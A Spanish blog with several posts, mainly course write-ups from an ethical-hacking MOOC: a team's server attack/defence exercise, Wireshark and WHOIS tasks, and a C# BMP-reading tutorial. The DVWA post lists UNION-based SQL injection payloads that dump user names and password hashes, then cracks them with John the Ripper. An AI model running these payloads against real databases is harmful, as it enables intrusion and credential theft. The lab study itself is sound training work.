Expresiones de tabla comunes (CTE) en SQL Server

Una expresión de tabla común o Common Table Expression (CTE) es un conjunto de resultados que se definen en tiempo de ejecución, tiene un concepto similar a una Tabla Derivada:

  • Son creadas en tiempo de ejecución.
  • Es necesario asignarle un nombre.
  • Tienen una consulta interna.
  • Hay una consulta externa hace uso de la consulta interna.

A pesar de esto, la sintaxis para declarar un CTE es diferente a una tabla derivada, y es la siguiente:

Sigue leyendo

Anuncios

Tarea Final #MoocHackingMU

 

Esta semana acaba de concluir el #MOOCHackingMU  un curso sobre hacking ético donde puedes aprender sobre seguridad informática y técnicas hacking , durante este curso conocimos personas con mucho conocimiento y pasión por la tecnología, en mi caso particular tuve la oportunidad de pertenecer a un grupo  estupendo de jóvenes amantes a la tecnología junto a los cuales formamos un equipo llamado QUIGON HACKING TEAM.

quingon

 

En los siguientes enlaces podrás encontrar las tareas y los retos que tuvimos que realizar para llegar hasta este punto:

Nuestro equipo al igual que todos los demás equipos participantes debían de llevar a cabo la tarea de defender un servidor asignado por los organizadores del MOOC. Dichos servidores estaban basados en el sistema Operativo Linux y tenían corriendo un numero determinado de servicios los cuales debían de ser protegidos y a la misma vez vulnerados según corresponda el caso de defensa o ataque. Les comento que existía la posibilidad de tener acceso con anticipación a los servidores siempre y cuando fuéramos capaces de resolver un enigma el cual consistía en descifrar un archivo PGP protegido con una contraseña la cual se encontraba dentro de una tabla de esta aplicación web, la cual era vulnerable a SQL Injection. Los pasos para explotar dicha vulnerabilidad en la aplicación indicada los podemos ver en esta entrada: SQL INJECTION DVWA

Asignación del Servidor-Defensa

Una ves que teníamos asignado nuestro servidor, lo primero que hicimos fue realizar un scaneo con NMAP para ver que puertos y servicios estaban ejecutándose en nuestra maquina, con lo cual pudimos ver que se encontraban abiertos los siguientes puertos:

  • SSH-Puerto 22
  • FTP-Puerto 21
  • HTTP-Puerto 80

Los archivos a proteger eran los siguientes:

archivos-a-proteger

una vez identificados los archivos a proteger se procedió a realizar las siguientes configuraciones  para fortalecer la seguridad del servidor:

SSH:

Se cambio el puerto de escucha del servicio, el cual paso de ser el 22 al 2168, con esto evitamos ser descubiertos en un escaneo común con cualquier herramienta de descubrimiento de puertos y servicios. para configurar esta opción editamos el archivo que se encuentra en la siguiente ruta: /etc/ssh/sshd_config y cambiamos la opción PORT.

FTP:

Nuestro servidor ejecutaba un servicio de VSFTPD específicamente la versión 3.0.2 la cual contenía una serie de vulnerabilidades al igual de que permitía el acceso del usuario Anonymous mediante el cual se podía descargar uno de los archivos a proteger.Se procedió a  deshabilitar el acceso de dicho usuario y a crear un usuario para el acceso via FTP

HTTP:

En el servicio de HTTP se encontraban corriendo las siguientes aplicaciones:

CACTI: es una aplicación utilizada para la generación de gráficos de redes diseñada para aprovechar el poder de almacenamiento y la funcionalidad para gráficas que poseen las aplicaciones RRDtool. Nuestro servidor contaba con la version 0.08a dicha versión se veía afectada por estas  vulnerabilidades, esta versión se procedió a actualizar a la 0.0.8b, en el mismo orden de proteger el CACTI se cambio la contraseña por defecto del usuario admin.

GITLIST: es una aplicación para la visualización de repositorios de código, nuestro servidor tenia instalada la versión 0.4.0 la cual se veía afectada por estas vulnerabilidades, lamentablemente no pudimos actualizar esta aplicación.

Adicional a las configuraciones de cada uno de los servicios y programas mencionados anteriormente , se configuraron los siguientes:

  • LogWatch
  • Fail2ban
  • Php
  • Apache

Asignación del Servidor-Ataque.

Para la fase de ataque se prepararon varios Scripts en Bash y Python, uno de ellos se conectaba a cada uno de los servidores a atacar e intentaba descargar el archivo de nivel 1 que se encontraba en el directorio FTP, el otro enviaba un Payload para tratar de aprovechar la vulnerabilidad que tenia el Gitlist y de esta manera descargar los archivos de nivel 2 de cada uno de los servidores publicados.

Adicional a estos Scripts también se utilizo MetaSploit para logar obtener una Shell de cada uno de los servidores que tuvieran la versión del Gitlist (<=0.4.0) la cual es vulnerable a la injeccion de comandos.

Otras herramientas utilizadas para la fase de ataque fueron:

  • Nessus
  • Nmap
  • Hydra
  • Lynis

Mi función dentro del equipo:

  • Configurar servicio SSH
  • Instalar y configurar LogWatch
  • Deshabilitar la opción de no permitir el acceso del usuario Anonymous via FTP
  • Actualizar el VSFTPD

Les agradezco a todos los del equipo en espacial a Wuilmer y a Jhon por la motivacion y el empeño puesto en lograr nuestros objetivos…Nos vemos en el proximo MOOC QUIGON HACKING TEAM.:)

Sin duda que fue una experiencia única creada por la universidad Mondragon, Muchos conocimientos adquiridos y la temática del curso fue excelente, ambientada en un escenario totalmente Real…Mil Gracias Mondragon

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Unidad 2 #moocHackingMU #CursoPenTesting

TAREA 2: SQL injection

En esta tarea vamos a usar la técnica SQL injection para obtener información relevante sobre la estructura de una base de datos. En concreto, vamos a obtener información de usuarios de un servidor (nombre de usuario, hash de la contraseña) a partir de un ataque de SQL injection.

Para ello necesitaras usar una máquina virtual preparada para el software de simulación VirtualBox. Si no tienes instalado VirtualBox puedes descargar el instalador desde la siguiente página web:

https://www.virtualbox.org/wiki/Downloads

En el caso de los sistemas GNU/Linux, la instalación se puede realizar a través del sistema de gestión de paquetes, aunque se recomienda usar las versiones más recientes disponibles en la web de VirtualBox (ya que algunos sistemas GNU/Linux tienen versiones algo más antiguas que no se han probado y no se garantiza que funcionen).

La máquina virtual (380MB) en formato 7-Zip lo podéis descargar a través del siguiente enlace: dvwa7z

Una vez descargada la máquina estos son los pasos a seguir:

  1. Descomprimir utilizando un software de compresión compatible con 7-Zip (puedes descargar este último desde su página web).

  2. Entrar en la carpeta en la que se ha descomprimido el 7-zip de la máquina. Allí encontraremos unos ficheros llamados dvwa-windows.vbox (puede que la extensión esté oculta, dependiendo de la configuración del explorador de ficheros) y dvwa-linux. vbox.

  3. Hacemos doble clic sobre el fichero que corresponda al sistema operativo que estemos usando en nuestro ordenador (p. ej. si estamos usando Linux hacemos doble clic sobre el fichero dvwa-linux.vbox).

  4. Al hacer doble clic se importará la máquina virtual en VirtualBox.

  5. Seleccionamos con el ratón la máqina que se llama “dvwa” y pulsamos sobre el botón llamado “Iniciar”:

6. Cuando termine de iniciarse la máquina virtual obtendremos la siguiente pantalla, donde se nos muestra la dirección IP que ha obtenido por DHCP, y que deberemos usar posteriormente para conectarnos a ella:

  1. Una vez ejecutada la máquina, anota la dirección IP y mediante el navegador web accede a la dirección http://direccionIP/login.php

  1. A continuación seguir las indicaciones de los apartados 7, 8 y 9 de ESTE ARTÍCULO.

Si quieres continuar con las secciones 10 y 11 del artículo, en las que se realiza el descubrimiento de contraseñas, necesitas la aplicación John The Ripper.

Obteniendo información de la Base de Datos:

Mostrar toda los récords que sean falsos y verdaderos:

%’ or ‘0’=’0

1

Obtener la versión del motor de Base deDatos:

%’ or 0=0 union select null, version() #

2-version

Mostar el usuario con el que se esta ejecutando la Base de Datos:

%’ or 0=0 union select null, user() #

3-Usuario.JPG

Mostrar nombre de la Base de Datos:

%’ or 0=0 union select null, database() #

4-DataBase.JPG

Mostrar todas las tablas del esquema:

%’ and 1=0 union select null, table_name from information_schema.tables #

Tablas.JPG

 Mostrar todas las tablas de usuario del esquema:

%’ and 1=0 union select null, table_name from information_schema.tables where table_name like ‘user%’#

Tablas de Usuario.JPG

 Mostrar todos los campos de la tabla de usuarios:

%’ and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘users’ #

columnas

 

Mostrar el contenido de los campos de la tabla de usuarios:

%’ and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

Pass.JPG

Luego de haber obtenido los nombres de usuarios y los hash de cada uno de ellos, podemos descifrarlos  con la herramienta John the Ripper la cual podemos encontrar en las versiones de Kali Linux.

Descifrando los Password

Lo primero que debemos de hacer es colocar de la siguiente manera en un archivo .TXT tanto los nombre de usuarios como los passwords obtenidos.

usuario-pass.JPG

Luego procedemos a guardar el archivo en una ubicación dentro de nuestro sistema operativo..

Una vez guardado el archivo procedemos a ejecutar el siguiente comando, seguido de la ubicación donde se encuentra nuestro archivo:

john –format=rawMD5 /ruta de nuestro archivo –show

De esta manera obtendremos los Password en texto plano, tal como podemos ver en la imagen siguiente:

Crack.JPG

 

 

 

 

Unidad 2 #moocHackingMU #CursoPenTesting

TAREA 1: Capturando tráfico con Wireshark

Primera parte: analizando un protocolo inseguro – Telnet.

En esta tarea no vamos a realizar capturas en vivo de tráfico, sino que vamos a analizar trazas (capturas) ya realizadas con anterioridad y salvadas en archivos. En este caso, vamos a usar la traza telnet-raw.pcap, del repositorio de capturas disponible en Wireshark.

Descárgate la traza en tu ordenador y ábrela con Wireshark. Esta traza ha capturado el tráfico de una sesión de Telnet entre el cliente y el servidor.

Un consejo: para observar mejor el tráfico de Telnet, puedes usar un filtro muy sencillo de visualización, como puedes ver en la imagen:

UD2T1

Para responder las siguientes preguntas, lo que se hizo fue utilizar la opción Follow TCP Stream dentro de Wireshark, la cual nos muestra la transmisión TCP en el orden que ocurrió desde el cliente hasta el servidor.

¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?

Como podemos ver en esta captura de datos de Wireshark el usuario utilizado en la sesion de telnet es fake y la contraseña user

login

¿Qué sistema operativo corre en la máquina?

Sistema Operativo Open BSD

sistema-operativo

¿Qué comandos se ejecutan en esta sesión?

Como podemos ver en las siguientes imágenes, en la sesión de Telnet capturada se ejecutaron los siguientes comandos:

ls -a

ls

ping a yahoo.com

comando

exit

exit

Segunda parte: analizando SSL.

Para la realización de este ejercicio, descarga esta traza con tráfico SSL y ábrela con Wireshark. SSL es un protocolo seguro que utilizan otros protocolos de aplicación como HTTP. Usa certificados digitales X.509 para asegurar la conexión.

¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?

Como podemos ver en la siguiente imagen el certificado se envía en el segundo paquetecertificaco-ssl

¿El certificado va en claro o está cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?

Los datos del certificado lo podemos ver en la siguiente imagen, la entidad que emitió el certificado es Verising

certificado-emisor

¿Qué asegura el certificado, la identidad del servidor o del cliente?

El certificado es asegurado por el servidor, como se pudo notar en la primera imagen.

Tercera parte: analizando SSH.

En la primera parte de este ejercicio hemos visto un protocolo no seguro, como Telnet. Una alternativa a usar Telnet a la hora de conectarnos a máquinas remotas es SSH, que realiza una negociación previa al intercambio de datos de usuario. A partir de esta negociación, el tráfico viaja cifrado. Descarga esta traza con tráfico SSH y abrela con Wireshark.

¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?

El trafico cifrado comienza en el paquete 13, ya que es donde se envía el 1er paquete encriptado, como podemos ver en la siguiente imagen:

trafico-cifrado

¿Qué protocolos viajan cifrados, todos (IP, TCP…) o alguno en particular?

El protocolo que viaja cifrado es el SSH, el cual va después de la capa TCP como podemos ver en la siguiente imagen:
SSH.jpg

¿Es posible ver alguna información de usuario como contraseñas de acceso?

En el protocolo SSH los datos viajen cifrado, lo que quiere decir que no es posible ver información tal como contraseñas o nombres de usuario.

 

Unidad 1 #moocHackingMU #CursoPenTesting

 

Tarea 1

Herramientas básicas para obtener información de servidores externos

Ping:

Utiliza la herramienta ping desde la terminal de tu ordenador para comprobar si están disponibles el siguiente host:

Cuando realizamos un ping al  host www.euskalert.net. aparenta estar abajo, pero todos sabemos que no, ya que podemos entrar por a la web por el puerto 80, lo que quiere decir que el host esta bloqueando los paquetes ICMP.

ping

WHOIS:

Busca información sobre el dominio que estamos investigando (euskalert.net). Puedes consultar el nombre de dominio o la dirección IP (que has averiguado cuando has hecho ping). Encuentra la persona que figura como contacto técnico y como contacto administrativo.

Registry Domain ID:
Registrar WHOIS Server: whois.interdomain.net
Registrar URL: http://www.acens.com/
Updated Date: 2015-10-07T08:15:23Z
Creation Date: 2006-10-31T00:56:37Z
Registrar Registration Expiration Date: 2016-10-31T11:56:37Z
Registrar: acens Technologies, S.L.U.
Registrar IANA ID: 140
Registrar Abuse Contact Email: abuse@acens.com
Registrar Abuse Contact Phone:+34.911418583
Domain Status: ok http://www.icann.org/epp#ok
Registry Registrant ID:
Registrant Name: Mondragon Goi Eskola Politeknikoa, J.M.A., S.Coop
Registrant Organization:
Registrant Street: Loramendi 4
Registrant City: Arrasate
Registrant State/Province: Gipuzkoa
Registrant Postal Code: 20500
Registrant Country: ES
Registrant Phone: 943794700
Registrant Fax:
Registrant Email: amanterola@eps.mondragon.edu
Registry Admin ID:
Admin Name: Mondragon Goi Eskola Politeknikoa, J.M.A., S.Coop
Admin Organization: Mondragon Goi Eskola Politeknikoa, J.M.A., S.Coop
Admin Street: Loramendi,4
Admin City: Arrasate
Admin State/Province: GIPUZKOA
Admin Postal Code: 20500
Admin Country: ES
Admin Phone: +34.943794700
Admin Fax:
Admin Email: sistemak@eps.mondragon.edu
Registry Tech ID:
Tech Name: RESPONSABLE DE DNS
Tech Organization: RESPONSABLE DE DNS
Tech Street: JULIAN CAMARILLO 6
Tech City: MADRID
Tech State/Province: MADRID
Tech Postal Code: 28013
Tech Country: ES
Tech Phone: +34.913752300
Tech Fax:
Tech Email: dns_admin@corp.terra.es
Name Server: ns1.mondragon.edu
Name Server: ns2.mondragon.edu

NMAP:

nmap

Tarea 2

Búsqueda y puesta en común de recursos

Blogs y paginas de Seguridad:

http://www.elladodelmal.com/ En este blog encontraras redactado de una manera profesional y con un sentido de humor la mayoría de técnicas hacking desde la perspectiva de un Doctor en Seguridad informática como lo es Chema Alonso, un blog bastante interesante donde te puede mantener al día con las ultimas vulnerabilidades y técnicas del mundo de la Seguridad informática.

http://www.hackplayers.com/ Como su nombre lo indica aquí encontraras un montón de tutoriales y trucos dentro del mundo de la seguridad, con lo cuales puedes jugar bajo tus propios riesgos 🙂

http://blog.elevenpaths.com/ Este es el blog de una filiar de Telefónica, aquí puedes encontrar desde una perspectiva mas Gerencial todo lo relacionado con la Gestión de gobiernos de TI desde el punto de vista de la seguridad, también puedes utilizar las herramientas que ellos tienen de manera gratuita como lo son la FOCA ,MICENUM, etc

 

Tarea 3

Una sencilla práctica sobre criptografía

Cifrar y descifrar archivos con Pretty Good Privacy (PGP)

Clave Publica

 

 

 

C#: Leer información binaria de un archivo BMP

Desde C# podemos leer cualquier archivo de manera binaria con la clase BinaryReader, la cual en uno de sus constructores recibe una secuencia de bits especificada, es decir el archivo a leer con valores binarios, también necesitaremos usar algunas propiedades y métodos de esta clase que les explicaré más adelante. Para usar esta clase necesitamos el espacio de nombres System.IO en nuestro proyecto.

Desde una aplicación de consola en C# leeremos una imagen de formato BMP, y podremos obtener informaciones como el alto, ancho y cantidad de bits por pixeles, empecemos:

Luego de crear nuestro proyecto de consola en C# crearemos un método que nos permitirá especificar y validar la ruta donde se encuentre el archivo .bmp que queremos leer y la retorne para poder ser utilizada más adelante.

static string ValidateAndSetPath()
{

Console.WriteLine("Introduzca la ruta del archivo BMP | Enter the path of the BMP file:");

var localPath = Console.ReadLine(); //Guarda la ruta introducida | Save the path entered

//Valida que la ruta y la extension del archivo sean correctas
//Validate that the path and extension of the file  is correct
while ((!localPath.Contains(".bmp") && !localPath.Contains(".BMP")) || !File.Exists(localPath))
{
Console.WriteLine("\nES: Asegurese de que escribió la ruta y la extension (.bmp) correctamente\nEN: Be sure that the path and extension (.bmp) are correct");

localPath = Console.ReadLine();
}

return localPath;
}

El método Contains recibe como parámetro una cadena o string a buscar y determina si esta contenida dentro de otra cadena, en este caso de la cadena de la variable localPath, mientras que el método Exits de la clase File determina si un archivo existe en una ruta especificada. Como podrán ver esas sentencias están negadas (!) y evaluadas dentro de un ciclo while lo que indica que mientras la cadena introducida por el usuario no contenga el cadena .bmp o .BMP y el archivo no exista, avisará al usuario y le indicara que introduzca nuevamente la información correctamente, luego, si todo esta correcto devolverá la ruta del archivo.

Luego en el método Main de nuestro proyecto vamos a declarar varias variables que almacenaran la información que obtendremos del archivo como el alto, ancho y cantidad de bits por pixeles así como el archivo en binario, con la propiedad BaseStream que nos permite el acceso a los bits y el metodo Seek nos desplazaremos por los bytes hasta obtener la información que necesitamos, pero para eso tenemos que conocer la estructura de un archivo BMP.

BMP-File-Structure

Estructura de archivo BMP – Structure of BMP file

En la imagen anterior podemos ver que cada sección del archivo tiene una cantidad de bytes, por los cuales debemos movernos, la información que nos interesa está en la sección InfoHeader, por lo que debemos “pasar” la sección Header, y esto es sumamente fácil con el método Seek de la propiedad BaseStream, este método recibe como parámetro la cantidad de bytes que nos queremos desplazar y desde donde, en nuestro caso la primera información que queremos es el ancho o width en ingles, la cual esta a partir del byte 18, para saber eso simplemente sumé los 14 bytes de la sección Header más 4 bytes del Size (información que no nos interesa) que esta dentro de la sección InfoHeader, haciendo este desplazamiento desde el inicio del documento. Veámolos en código:

static void Main(string[] args)
{

//Variables
var path = ValidateAndSetPath();
var width = 0;
var heigth = 0;
var bitsPerPixel = 0;
BinaryReader bmpFile; //BMP File in binary


bmpFile = new BinaryReader(File.OpenRead(path)); //Lee la ruta como un archivo binario | Reads the path as a binary file

bmpFile.BaseStream.Seek(18, SeekOrigin.Begin); //Posiciona la "cadena" de bytes en el bit indicado | Set the position in the current stream.

width = bmpFile.ReadInt32(); //Guarda 4 bytes, correspondiente al ancho de la imagen | Save 4 bytes, of the width of the image
heigth = bmpFile.ReadInt32();//Guarda 4 bytes, correspondiente al alto de la imagen | Save 4 bytes, of the heigth of the image

bmpFile.BaseStream.Seek(2, SeekOrigin.Current); //Posiciona la "cadena" de bytes en el bit indicado desde la posicion actual | Set the position in the current stream from the current position

bitsPerPixel = bmpFile.ReadInt16(); //Guarda 2 bytes correspondientes a los bits por pixeles de la imagen | Save 2 bytes for the Bits por pixels of the imagen

Console.WriteLine($"\nAncho | Width: {width}\nAlto | Heigth: {heigth}\nBits por Pixel | Bits per Pixel: {bitsPerPixel} bits");


bmpFile.Close(); //Cierra el archivo en uso | Close the file


Console.ReadKey();

}

Y listo, con esto podemos tener obtener el el alto, ancho y cantidad de bits por pixeles de un archivo de imagen BMP. Elementos a tener en cuenta es utilizar el tipo de datos adecuado al momento de leer los bytes desde el archivo guiándonos desde la estructura del mismo, si se fijan para almacenar la información en la variables width y height utilicé el método ReadInt32() que lee 4 bytes, mientras que para la variable bitsPerPixel utilicé el método ReadInt16() que lee 2 bytes que son el tamaño correspondiente de estos datos indicados en la estructura del archivo, si utilizan un tipo de datos no adecuado podrían estar leyendo información de más o de menos. Otro punto importante es cerrar el archivo después de su uso.

BMP-Info-Reader

Prueba de la aplicación.

 

El código del proyecto completo esta disponible en mi GitHub: robertlluberes/BMP-File-Info-Reader

Referencias: [ BinaryReader, Structure of BMP file, C# Seek File Examples: ReadBytes ]